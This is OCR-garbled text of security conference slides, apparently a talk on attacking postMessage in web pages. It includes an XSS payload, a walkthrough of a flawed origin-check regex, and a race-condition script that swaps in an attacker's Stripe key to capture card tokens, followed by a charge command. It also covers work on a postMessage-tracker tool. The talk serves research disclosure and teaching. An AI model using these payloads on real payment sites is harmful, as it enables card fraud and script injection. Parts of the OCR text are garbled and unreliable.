link.com.e

example.com says

example.com

—

S

global","siteurl":"www.example.com/uk","curr”:"curr=&osl=\"-(function()
{document.body.appendChild(iframe=document.createElement(\'iframe\"'));window
.alert=iframe.contentWindow[\'alert\'];document.body.removeChild(iframe) ;win
dow.alert(document.domain)})()-\""}"',"*")

}, 10);
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Client-Side Race Condition

postMessage between JS-load and iframe-load

Worked in all browsers.
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Client-Side Race Condition #2

Multiple bugs incoming, hang on!
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Can you find the bug(s)?

SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;

}

var domains = [".example.com", ".example.to", ".example.at", ".example.ca",

.example.
.example.
.example.
.example.
.example.
.example.

ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",

com.hk", ".example.com.tw"];

var escapedDomains = $.map(domains, function (domain) {
return domain.replace('."', "\\.');

1)

var exampleDomainsRE = '~https:\/\/.*(' + escapedDomains.join('|"') + ')$';
return Boolean(origin.match(exampleDomainsRE));
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1st bug!

SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}

var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
.example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
.example.it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
.example.cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
.example.co.nz", " example co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
.example.com.mx", example com. sg B ".example.com.ar", ".example.com.tr",
.example.com.hk", ".examad )

var escapedDoma1 o= 9. map(domalns, furtion (domain) {

return doma n.replace('.’, )
1)

var exampleDomainsRE = "WaePSen/\/.*(' + escapedDomains.join('|"') + "')$';
return Boolean(origin.match(exampleDomainsRE));

};
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1st bug!
".example.co.nz".replace('."', "\\.")

"\.example.co.nz"
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Can you find the next bug?

SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;

}

var domains = [".example.com", ".example.to", ".example.at", ".example.ca",

.example.
.example.
.example.
.example.
.example.
.example.

ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
it", ".example.nl", ".example.se", ".example.dk", ".example.no", ".example.fi",
cz", ".example.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
co.nz", ".example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
com.mx", ".example.com.sg", ".example.com.ar", ".example.com.tr",

com.hk", ".example.com.tw"];

var escapedDomains = $.map(domains, function (domain) {
return domain.replace('."', "\\.');

1)

var exampleDomainsRE = '~https:\/\/.*(' + escapedDomains.join('|"') + ')$';
return Boolean(origin.match(exampleDomainsRE));
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2nd bug!

SecureCreditCardController.prototype.isValidOrigin = function (origin) {
if (origin === null || origin === undefined) {
return false;
}
var domains = [".example.com", ".example.to", ".example.at", ".example.ca",
.example.ch", ".example.be", ".example.de", ".example.es", ".example.fr", ".example.ie",
. cooailEmae, ' .example.nl”, ".example.se", ".example.dk", ".example.no", ".example.fi",
.example.cz", "Sample.pt", ".example.pl", ".example.cl", ".example.my", ".example.co.jp",
.example.co.nz", M.example.co.uk", ".example.com.au", ".example.com.br", ".example.com.ph",
mexample.com.mxdl¥ " .example.com.sg", ".example.com.ar", ".example.com.tr",
. EXampadaon.nk", ".example.com.tw"];
var escapedDomains = $.map(domains, function (domain) {
return domain.replace('."', "\\.');
1)

var exampleDomainsRE = '~https:\/\/.*(' + escapedDomains.join('|"') + ')$';
return Boolean(origin.match(exampleDomainsRE));

};
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.nz Is allowed since 2015!

In October 2013, InternetNZ decided to allow domain names to be registered at the
second level in the .nz domain name space, aligning the .nz domain name space with
a majority of other top level domains that already allow registrations directly at the
second level.[®! The second level domain names were launched with a sunrise period
from28e08 0 wcimoer 2014 to 30 March 2015 (to allow people with simiar coimmato
register the shorter version). From 30 March 2015 .nz domain names were available

to everyone.!”!

https://en.wikipedia.org/wiki/.nz
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Boolean("https://www.exampleaco.nz".match('~https:\/
\/.*(\.example.co.nz)$"'))

true
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2nd bug!

Boolean("https://www.exampleaco.nz".match('~https:\/
\/.*(\.example.co.nz)$"'))

true

e exampleaco.nz is available!
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Vulnerable scenario

® © [ about:blank X frans
< C @ @ about:blank | By

[ ] [ ]

ilikefood.com
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Opens PCIl-certified domain for payment

. — Attacking Modern Web Technologies

® © [ about:blank x'\ - frans
< C @ @ about :blank | By

[ ] [ ]

ilikefood.com

Subscribe!
m foodpayments.com

@2 VIsA

—‘
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lframe loaded, main frame sends INIT to iframe

. — Attacking Modern Web Technologies

® © ® [ about:blank x frans
& C ¢ @ about:blank * G
iframe.postMessage('INIT', '*')
ilikefood.com &
foodpayments.com
&2 VISA
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Iframe registers the sender of INIT as msgTarget

® © [ about:blank frans

< C 1 © about:blank * EE]

iframe.postMessage('INIT', '*')
ilikefood.com

o e B if(e.data==INIT && originOK) {

foodpayments.com
| msgTarget = event.source
&2 VISA | nsgTarget.postMessage('INIT','*")

a }
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Iframe tells main all is OK

® © [ about:blank X frans

< C (' © about:blank ¥ | By

if(e.data==INIT and e.source==iframe) {
ilikefood.com all ok dont kill frame()

Subscribe!

foodpayments.com

@ VISA msgTarget.postMessage('INIT', ' '*")
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Main window sends over provider data

. — Attacking Modern Web Technologies

© © ® [ aboutblank x . frans i 'F ( I N I T ) {
<&« C 0 @ about:blank w [G g . ] n n
iframe.postMessage('["LOAD",

o1 "stripe","pk abc123"]}’, '*'
ilikefood.com P PK_ 1} )

Subscribe! 5
foodpayments.com
&2 VISA
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Iframe loads payment provider and kills channel

I Attacking Modern Web Technologies

© © ® [ aboutblank x \\ . frans i 'F ( I N I T ) {
<&« C 0 @ about:blank w [G g . ] n n
iframe.postMessage('["LOAD",

o1 "stripe","pk abc123"]}’, '*'
ilikefood.com P PK_ 1} )

¥
if(INIT) {
: {> if(e.data[@]==LOAD && originOK) {

initpayment(e.data[1l], e.data[2])
foodpayments.com | window.removeEventListener
@2 VIsA ('message’, listener)
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Did you see it?
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frans ®° ® [aboutblank  x' . faans

exampleaco.nz ilikefood.com

o, SIS
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exampleaco.nz ilikefood.com

o, ST

............

foodpayments.com

e visA
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exampleaco.nz ilikefood.com

foodpayments.com

l-IIII-I-.-II-...q..-> @2 VIsA

setInterval(function(){
child.frames[0].postMessage('["LOAD","stripe", "pk diffkey"]}’,"'*")
}, 100)

............
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® [ about:blank x\ . frans ® © ® [ avoutblank x . fans
< C 0 © about:blank | By 8 & C 0 @ aboutblank

"INIT'<->"INIT'

exampleaco.nz ilikefood.com

foodpayments.com

l-IIIIII-.-II-...q..-> @2 VISA

setInterval(function(){
child.frames[0].postMessage('["LOAD","stripe", "pk diffkey"]}’,"'*")
}, 100)
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frans ®° ®  [avoutbank  ox . fans

exampleaco.nz ilikefood.com

foodpayments.com
@2 VISA

Frame loads 4

api.stripe.com?key=pk_diffkey..
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frans ®° ® [aboutblank  x' . faans

exampleaco.nz ilikefood.com

foodpayments.com
@2 VISA

(Enter credit card )
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fffff

foodpayments.com

&2 VIsA
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Payment will fail for site...but worked for Stripe!

® © ® [ aboutblank X frans "card": {
© C 0|0 sboblnk * B "address_country": "US",
"address_zip": "90210",
foodpayments.com o
cve': Mxkx"
-y 7 ° "exp_month": "@2",
GLO
. "exp_year": "2020",
"number": "xxxkx *kxkx *%x42 42"
’ Response body
Payment failed :(

"id": "tok_CUCo8i6y3vKuOL",

"object": "token",
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From Stripe-logs we can charge the card anything!

"card": { s3 $ curl https://api.stripe.com/vl/charges \
-u sk_test c90aN5R3UTGRNSGHxdD2f44r: \

-d amount=999 \

"address_zip": "90210", -d currency=usd \

-d description="Example charge" \

"address_country": "US",

revelts o, -d source=tok CUCo8i6y3vKuOL
"exp_month": "@2",
"exp_year": "2020", ‘ JjéctST_EgE:?§é1?9vadC '
"number": "xkxxx xkkkx x%42 42" "amount": 999,
"amount_refunded": 0,
Response body "application": null,
"application_fee": null,
"balance_transaction": "txn_CUCs47FwnqOopF",
"captured": true,
{ "created": 1520952676,
) ) "currency": "usd",
"id": "tok_CUCo8i6y3vKuOL", "customer": null,

"object": "token", "description": "Example
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"card": { s3 $ curl https://api.stripe.com/vl/charges \
-u sk_test c90aN5R3UTGRNSGHxdD2f44r: \

-d amount=999 \

"address_zip": "90210", -d currency=usd \

-d description="Example charge" \

"address_country": "US",

cverr o -d source=tok_CUCo8i6y3vKuOL

"exp_month": "@2",

" . nopoan : "ch_CUCsQZJj29vadC",

exp_year": '"2020", Woject": "charge",

"number": "kkxkx kxkk x%42 42" "amount": 999,
"amount_refunded": 0,

Response body "application": null,
balance_transact?
"captured": true,
{ .
"id": "tok_CUCo8i6y3vKuOL", "custontl Ul

"object": "token", "description": "Example charge",
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Client-Side Race Condition #2
postMessage from opener between two other postMessage-calls

Chrome seems to be the only one allowing this to happen afaik.
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postMessage-tracker Speedbumps
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postMessage-tracker Speedbumps

* Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic

4 ) OwAsP

Before:
v message
v Window checkout.html:38
» handler: f nriwrapper()
v Window checkout.html:38

» handler: f nrWrapper()
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postMessage-tracker Speedbumps

* Problem 1: Function-wrapping, Raven.js, rollbar, bugsnag, NewRelic

Before: After:
v message v message
v Window checkout.html:38 v Window satelliteLib-df8b983...js:7
» handler: f nriwrapper() » handler: f (e)
v Window checkout.html:38 v Window

clientlib-head.min.6af@lff...js:3
» handler: f (n)

» handler: f nrWrapper()

Solution: Find wrapper and jump over it. console better due to this!
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postMessage-tracker Speedbumps

« Problem 2: jQuery-wrapping, such a mess (diff btw version)

Before:

2. helpx.adobe.com top.frames[0]
at https://helpx.adobe.com/experience-manager/6-
3/sites/developing/using/reference-materials/test-
api/quicksearch.html:18:19
function(b){return typeof

_l==za&&_.event.triggered!==b.type?
__.event.dispatch.apply(a,arguments):void 0}
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postMessage-tracker Speedbumps

Problem 2: jQuery-wrapping, such a mess (diff btw version)

Before:

2. helpx.adobe.com top.frames[0]
at https://helpx.adobe.com/experience-manager/6-
3/sites/developing/using/reference-materials/test-
api/quicksearch.html:18:19

function(b){return typeof
_l==za&&_.event.triggered!==b.type?
_.event. dispatch.apply(a,arguments):void 0}

Solution: Use either .

data,

After:

.expando or

3. helpx.adobe.com top.frames([0]
jQuery

function(msg) {
var msgData = msg.originalEvent.data;

if (msgData.msgid !=
"docstrap.quicksearch.start") {
return;

}

var results =
Searcher.search(msgData.searchTerms);

window.parent. postMessage({ results : results,

"msgid": "docstrap.quicksearch.done"}, "*"

.events from jQuery object!
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postMessage-tracker Speedbumps

« Problem 3: Anonymous functions. Could not identify them at all.

Before:

nﬂ
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« Problem 3: Anonymous functions. Could not identify them at all.

Before: After: 9. cdn.embedly.com top.frames[1].frames[0]

at Object.f.addEvent (https://cdn.embedly.com/widgets/media.html?

src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F144169347%3Fpo
rtrait%3D0%26byline%3D0%26title%3D0&url=https%3A%2F%2Fplayer.
Solution: Can’t extract using Function.toString() in Chrome :(
Will however at least show them as tracked now

vimeocdn.com%2Fvide0%2F541945450_1280.jpg&key=d04bfffead6d4a
eda930ec88cc64b87c&type=text%2FhtmlI&schema=vime0:7:26120)

bound

vimeo.com%2Fvideo%2F144169347%3Fautoplay%3D1%26100p%3D1%2
m 6title%3D0%26byline%3D0%26portrait%3D0&image=http%3A%2F%2Fi.
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postMessage-tracker released?

No :( | suck. "Soon"?
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postMessage-tracker released?

No :( | suck. "Soon"?

Want to complete more features!
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postMessage-tracker released?

No :( | suck. "Soon"?

Want to complete more features!
- Trigger debugger to breakpoint messages (since we own the order)
 Try to see if .origin is being used and how

- If regex, run through Rex!



That’s it!

Frans Rosén (@fransrosen)



